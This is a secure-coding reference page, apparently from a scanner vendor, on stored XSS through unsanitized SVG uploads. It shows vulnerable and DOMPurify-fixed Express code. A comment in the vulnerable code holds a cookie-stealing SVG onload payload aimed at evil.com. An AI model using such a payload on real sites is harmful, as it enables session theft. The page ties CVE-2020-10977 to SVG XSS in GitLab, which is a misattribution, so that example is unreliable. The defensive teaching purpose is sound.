mediumCWE-79A03:2021

SVG with JavaScript

Accepting SVG uploads without sanitization allows attackers to embed JavaScript in SVG files, enabling XSS attacks when the SVG is rendered in a browser.

How It Works

SVG files are XML-based and can contain embedded JavaScript through <script> tags, event handlers (onload, onclick), or even CSS expressions. When a user uploads a malicious SVG and it is served with an image/svg+xml content type, browsers execute the embedded scripts in the context of the hosting domain. This leads to stored XSS — any user viewing the SVG has their session compromised. The attacker can steal cookies, redirect users, or perform actions on their behalf. Unlike raster images (JPEG, PNG), SVGs are essentially code and must be treated as such.

Vulnerable Code
app.post('/avatar', upload.single('avatar'), (req, res) => {
  // Accepts any image including SVG
  const url = `/avatars/${req.file.filename}`;
  res.json({ url });
});
// SVG with XSS: <svg onload="fetch('https://evil.com/'+document.cookie)"/>
Secure Code
const DOMPurify = require('isomorphic-dompurify');
app.post('/avatar', upload.single('avatar'), (req, res) => {
  if (req.file.mimetype === 'image/svg+xml') {
    const clean = DOMPurify.sanitize(req.file.buffer.toString(),
      { USE_PROFILES: { svg: true } });
    fs.writeFileSync(destPath, clean);
  }
  res.json({ url });
});

Real-World Example

In 2020, a stored XSS vulnerability via SVG upload was found in GitLab (CVE-2020-10977). Attackers could upload SVG files with embedded JavaScript to issue descriptions. When other users viewed the issue, the script executed in their browser, potentially compromising admin accounts.

How to Prevent It

  • Sanitize SVG uploads with DOMPurify using SVG profile to strip scripts
  • Serve user-uploaded SVGs from a separate cookieless domain
  • Convert SVGs to raster format (PNG) on upload if interactivity is not needed
  • Set Content-Security-Policy headers to block inline scripts on SVG-serving routes

Affected Technologies

Node.jsPythonJavaPHPGo

Data Hogo detects this vulnerability automatically.

Scan Your Repo Free

Related Vulnerabilities